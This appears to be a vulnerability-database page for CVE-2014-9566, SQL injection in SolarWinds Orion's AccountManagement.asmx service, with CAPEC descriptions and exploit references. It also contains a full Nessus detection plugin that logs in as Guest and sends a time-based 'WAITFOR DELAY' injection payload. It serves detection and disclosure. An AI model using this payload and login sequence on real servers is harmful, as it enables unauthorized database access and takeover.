Vulnerabilities > CVE-2014-9566 - SQL Injection vulnerability in Solarwinds products

047910
CVSS 7.5 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
low complexity
solarwinds
CWE-89
nessus
exploit available
metasploit

Summary

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwinds Orion Platform 2015.1, as used in Network Performance Monitor (NPM) before 11.5, NetFlow Traffic Analyzer (NTA) before 4.1, Network Configuration Manager (NCM) before 7.3.2, IP Address Manager (IPAM) before 4.3, User Device Tracker (UDT) before 3.2, VoIP & Network Quality Manager (VNQM) before 4.2, Server & Application Manager (SAM) before 6.2, Web Performance Monitor (WPM) before 2.2, and possibly other Solarwinds products, allow remote authenticated users to execute arbitrary SQL commands via the (1) dir or (2) sort parameter to the (a) GetAccounts or (b) GetAccountGroups endpoint.

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Command Line Execution through SQL Injection
    An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
  • Object Relational Mapping Injection
    An attacker leverages a weakness present in the database access layer code generated with an Object Relational Mapping (ORM) tool or a weakness in the way that a developer used a persistence framework to inject his or her own SQL commands to be executed against the underlying database. The attack here is similar to plain SQL injection, except that the application does not use JDBC to directly talk to the database, but instead it uses a data access layer generated by an ORM tool or framework (e.g. Hibernate). While most of the time code generated by an ORM tool contains safe access methods that are immune to SQL injection, sometimes either due to some weakness in the generated code or due to the fact that the developer failed to use the generated access methods properly, SQL injection is still possible.
  • SQL Injection through SOAP Parameter Tampering
    An attacker modifies the parameters of the SOAP message that is sent from the service consumer to the service provider to initiate a SQL injection attack. On the service provider side, the SOAP message is parsed and parameters are not properly validated before being used to access a database in a way that does not use parameter binding, thus enabling the attacker to control the structure of the executed SQL query. This pattern describes a SQL injection attack with the delivery mechanism being a SOAP message.
  • Expanding Control over the Operating System from the Database
    An attacker is able to leverage access gained to the database to read / write data to the file system, compromise the operating system, create a tunnel for accessing the host machine, and use this access to potentially attack other machines on the same network as the database machine. Traditionally SQL injections attacks are viewed as a way to gain unauthorized read access to the data stored in the database, modify the data in the database, delete the data, etc. However, almost every data base management system (DBMS) system includes facilities that if compromised allow an attacker complete access to the file system, operating system, and full access to the host running the database. The attacker can then use this privileged access to launch subsequent attacks. These facilities include dropping into a command shell, creating user defined functions that can call system level libraries present on the host machine, stored procedures, etc.
  • SQL Injection
    This attack exploits target software that constructs SQL statements based on user input. An attacker crafts input strings so that when the target software constructs SQL statements based on the input, the resulting SQL statement performs actions other than those the application intended. SQL Injection results from failure of the application to appropriately validate input. When specially crafted user-controlled input consisting of SQL syntax is used without proper validation as part of SQL queries, it is possible to glean information from the database in ways not envisaged during application design. Depending upon the database and the design of the application, it may also be possible to leverage injection to have the database execute system-related commands of the attackers' choice. SQL Injection enables an attacker to talk directly to the database, thus bypassing the application completely. Successful injection can cause information disclosure as well as ability to add or modify data in the database. In order to successfully inject SQL and retrieve information from a database, an attacker:

Exploit-Db

descriptionSolarwinds Orion Service - SQL Injection Vulnerabilities. CVE-2014-9566. Webapps exploit for windows platform
fileexploits/windows/webapps/36262.txt
idEDB-ID:36262
last seen2016-02-04
modified2015-03-04
platformwindows
port
published2015-03-04
reporterBrandon Perry
sourcehttps://www.exploit-db.com/download/36262/
titleSolarwinds Orion Service - SQL Injection Vulnerabilities
typewebapps

Metasploit

descriptionThis module exploits a stacked SQL injection in order to add an administrator user to the SolarWinds Orion database.
idMSF:AUXILIARY/GATHER/SOLARWINDS_ORION_SQLI
last seen2020-06-10
modified2017-07-24
published2015-02-22
referenceshttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-9566
reporterRapid7
sourcehttps://github.com/rapid7/metasploit-framework/blob/master//modules/auxiliary/gather/solarwinds_orion_sqli.rb
titleSolarwinds Orion AccountManagement.asmx GetAccounts Admin Creation

Nessus

NASL familyCGI abuses
NASL idSOLARWINDS_ORION_MULTIPLE_SQLI.NASL
descriptionThe remote host is running a version of SolarWinds Orion Core that is affected by multiple blind SQL injection vulnerabilities in the
last seen2020-06-01
modified2020-06-02
plugin id83817
published2015-05-27
reporterThis script is Copyright (C) 2015-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/83817
titleSolarWinds Orion Multiple SQLi Vulnerabilities
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(83817);
  script_version("1.5");
  script_cvs_date("Date: 2019/11/22");

  script_cve_id("CVE-2014-9566");
  script_bugtraq_id(72876);
  script_xref(name:"EDB-ID", value:"36262");

  script_name(english:"SolarWinds Orion Multiple SQLi Vulnerabilities");
  script_summary(english:"Attempts to exploit the SQL injection vulnerability.");

  script_set_attribute(attribute:"synopsis", value:
"The remote host is affected by multiple SQL injection vulnerabilities.");
  script_set_attribute(attribute:"description", value:
"The remote host is running a version of SolarWinds Orion Core that is
affected by multiple blind SQL injection vulnerabilities in the
'AccountManagement.asmx' script. A remote attacker, after being
authenticated using the built-in default 'Guest' account, can exploit
these vulnerabilities to execute arbitrary SQL commands. Note that the
'Guest' account needs to be enabled for exploitation of these
vulnerabilities to occur.");
  # http://volatile-minds.blogspot.com/2015/02/authenticated-stacked-sql-injection-in.html
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?37fa2b56");
  # http://www.solarwinds.com/documentation/orion/docs/releasenotes/releasenotes.htm
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?3e685d6c");
  script_set_attribute(attribute:"solution", value:
"Contact the vendor for a software version containing a patched Orion
Core.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2014-9566");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2015/02/24");
  script_set_attribute(attribute:"patch_publication_date", value:"2015/02/24");
  script_set_attribute(attribute:"plugin_publication_date", value:"2015/05/27");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:solarwinds:orion_network_performance_monitor");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:solarwinds:orion_netflow_traffic_analyzer");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:solarwinds:orion_network_configuration_manager");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:solarwinds:orion_ip_address_manager");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:solarwinds:orion_user_device_tracker");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:solarwinds:orion_voip_%26_network_quality_manager");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:solarwinds:orion_server_and_application_manager");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:solarwinds:orion_web_performance_monitor");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2015-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("solarwinds_orion_npm_detect.nasl");
  script_require_keys("installed_sw/SolarWinds Orion Core");
  script_exclude_keys("global_settings/supplied_logins_only");
  script_require_ports("Services/www", 8787);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("install_func.inc");
include("url_func.inc");

# plugin requires logging in as Guest to exploit
if (supplied_logins_only) audit(AUDIT_SUPPLIED_LOGINS_ONLY);

port = get_http_port(default:8787);

app_name = "SolarWinds Orion Core";

install = get_single_install(
  app_name      : "SolarWinds Orion Core",
  port         : port
);

dir = install['path'];
install_url = build_url(qs:dir, port:port);

clear_cookiejar();

login_url = '/Orion/Login.aspx';

res = http_send_recv3(
  port            : port,
  method          : "GET",
  item            : login_url,
  exit_on_fail    : TRUE
);

item = eregmatch(pattern:'"__VIEWSTATE"\\s*value\\s*=\\s*"([^"]+)"',
                 string: res[2]);

viewstate = item[1];

postdata = "__EVENTTARGET=&" +
           "__EVENTARGUMENT=&" +
           "__VIEWSTATE=" + urlencode(str:viewstate) + "&" +
           "__VIEWSTATEGENERATOR=01070692&" +
           "ctl00$BodyContent$Username=Guest&" +
           "ctl00$BodyContent$Password=";

res = http_send_recv3(
  port            : port,
  method          : "POST",
  item            : login_url,
  data            : postdata,
  content_type    : "application/x-www-form-urlencoded",
  exit_on_fail    : TRUE
);

if(res[1] !~ "Location\s*:\s*/Orion/View.aspx" &&
   "302" >!< res[0])
  exit(0, "Unable to login to application using Guest Account.");

exploit_url = "/Orion/Services/AccountManagement.asmx/GetAccounts";

# script response is pretty snappy, so use a non-overlapping variance
variance = 2;

passes = 0;
timings = make_list(5,10,15);
postdata = '{"accountId":""}';

# check more than one timing to avoid false positives
foreach timing (timings)
{
  http_set_read_timeout(timing*2);

  exploit = "?sort=Accounts.AccountID&dir=ASC%20WAITFOR%20DELAY%20%270:0:" + timing + "%27--";

  then = unixtime();

  res = http_send_recv3(
    port            : port,
    method          : "POST",
    item            : exploit_url + exploit,
    data            : postdata,
    content_type    : "application/json",
    exit_on_fail    : TRUE
  );

  now = unixtime();
  delta = now - then;

  if('"SolarWinds.Orion.Web.PageableDataTable"' >< res[2] &&
     delta >= timing && delta <= timing + variance)
    passes++;
}

if(passes == max_index(timings))
{
  security_report_v4(
    port     : port,
    sqli     : TRUE,
    request  : make_list(http_last_sent_request()),
    output   : chomp(res[2]),
    severity : SECURITY_HOLE,
    generic  : TRUE
  );
}
else audit(AUDIT_WEB_APP_NOT_AFFECTED, app_name, install_url);

Packetstorm

data sourcehttps://packetstormsecurity.com/files/download/130637/solarwindsorion-sql.txt
idPACKETSTORM:130637
last seen2016-12-05
published2015-03-03
reporterBrandon Perry
sourcehttps://packetstormsecurity.com/files/130637/Solarwinds-Orion-Service-SQL-Injection.html
titleSolarwinds Orion Service SQL Injection